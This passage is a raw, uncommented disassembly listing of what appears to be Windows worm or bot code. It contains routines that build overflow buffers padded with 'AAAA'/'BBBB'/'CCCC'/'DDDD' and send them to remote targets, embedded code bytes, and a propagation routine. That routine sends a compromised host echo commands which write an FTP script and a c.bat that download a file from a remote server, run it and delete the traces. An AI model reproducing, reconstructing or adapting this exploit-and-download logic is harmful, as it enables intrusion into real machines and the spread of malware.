		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C04
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C28
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458AC
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C1C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C18
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E60
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C0C
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C08
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44593C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458B4
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44596C
		mov	[ebx+31h], eax
		mov	ecx, dword_445970
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE0
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445978
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		call	near ptr 71AB2BF4h
		nop
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 2821DE2h


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜι',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	near ptr 2821DE2h
		nop
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
